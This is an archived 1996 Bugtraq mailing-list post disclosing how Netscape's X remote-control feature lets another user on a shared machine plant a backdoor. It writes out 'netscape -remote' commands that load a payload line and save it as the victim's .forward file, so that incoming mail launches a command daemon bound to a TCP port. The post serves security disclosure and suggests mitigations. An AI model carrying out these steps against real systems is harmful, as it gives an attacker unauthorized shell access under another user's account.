Bugtraq mailing list archives
Netscape remote control : a small example
From: Gilles.Soulet () cst cnes fr (Gilles Soulet)
Date: Fri, 31 May 1996 15:04:23 +0200
At 12:35 27/05/1996 +0800, Justin Beech wrote: [..8<..text snipped...]
OS or desktop design, not a software vendor -- and I dont see this thread raising any new security issues there, so can we drop it please?
Really ? X servers security problems are now well know by our community, but what said Martin is what we're facing now is an unusual threat, quiet similar to the "Allow SendEvents" of Xterm. X servers are not designed to launch processes on the machines they're running on. So if you leave your X screen opened, the risks are limited to the actions related to the X server : Screen dumping or faking, and Keystroke grabbing, for the most popular. The hability to control Netscape remotly introduces NEW THREATS, that one can depict by relating this tiny scenario I experimented last day : One user A is connected to a central computer COMP1 (for example, an academic SPARC center) using a remote TX or a PC with X server. The server doesn't provide any COOKIE mecanism, so user A has to do (at least) xhost +COMP1. A is using Netscape v1.2 or higher. One other user B has a legitimate login on COMP1 ; operating from this machine, he has rights to connect to the Xserver of A. A KNOWS that X is insecure, so he never strikes any password on his screen without using something "a la XgrabServer". But he doesn't know about the remote control of Netscape (who knows, in fact ?). COMP1 is a "secured" machine, which doesn't use any remote/login remote/command (creating a .rhosts will have no effect). B launches a tiny HTTP server providing only one file : hack.txt; this file is an ASCII text containing : "|/tmp/tinyTelnetd -p6666" "tinyTelnetd" is a small daemon designed to : - bind and accept TCP connexions from an unprivileged port - discard any data coming from the standart input - lauch commands coming from any peer client connected A's gone to lunch, but didn't kill his Netscape browser. B launches his HTTP server on a high port(say 8000), then assign its shell DISPLAY variable the value of user's A X server, and does :
netscape -remote "openURL(http://COMP1:8000/hack.txt)"
This loads the small hack text ("|/tmp/tinyTelnetd -p6666") in main Netscape's window. Then B does :
netscape -remote "saveAs(/home/A/.forward)"
A has now a great .forward file on its home directory. Mailing to A will launch the pseudo telnet daemon, owned by A. B has just to connect to the COMP1:6000 tcp port, the daemon will fork() any commands with A rights. This attack works, supposed that : - A must be at lunch (he doesn't want to see the bad page loaded in main Window !) - .forward must not previously exists (or you'll have to act on the confirmation window) - Sendmail must be able to fork() : another good reason to put a "Mprog, P=/bin/false" directive in sendmail.cf !!! - The tiny daemon must discard all data transmited by sendmail via the pipe Of course, there are many variants. For example, if COMP1 uses rlogin daemon, creating a .rhosts file on A home directory was much worth it. User B could also operate from another machine (not COMP1) if A was silly enough to let his X server open to anothers machines. And finally, if A was root, ... KABOOM !!! Allowing remote control of an X is obviously something dangerous for security (as says Netscape com. on its server's page related to this stuff). Was the feature really necessary ? Probably ; but not in all cases. Now people have to know what they're facing ... If WE are able to exploit it, what are the "bad guys" going to do with that ? ~Gillus
Current thread:
- Netscape remote control : a small example Gilles Soulet (May 31)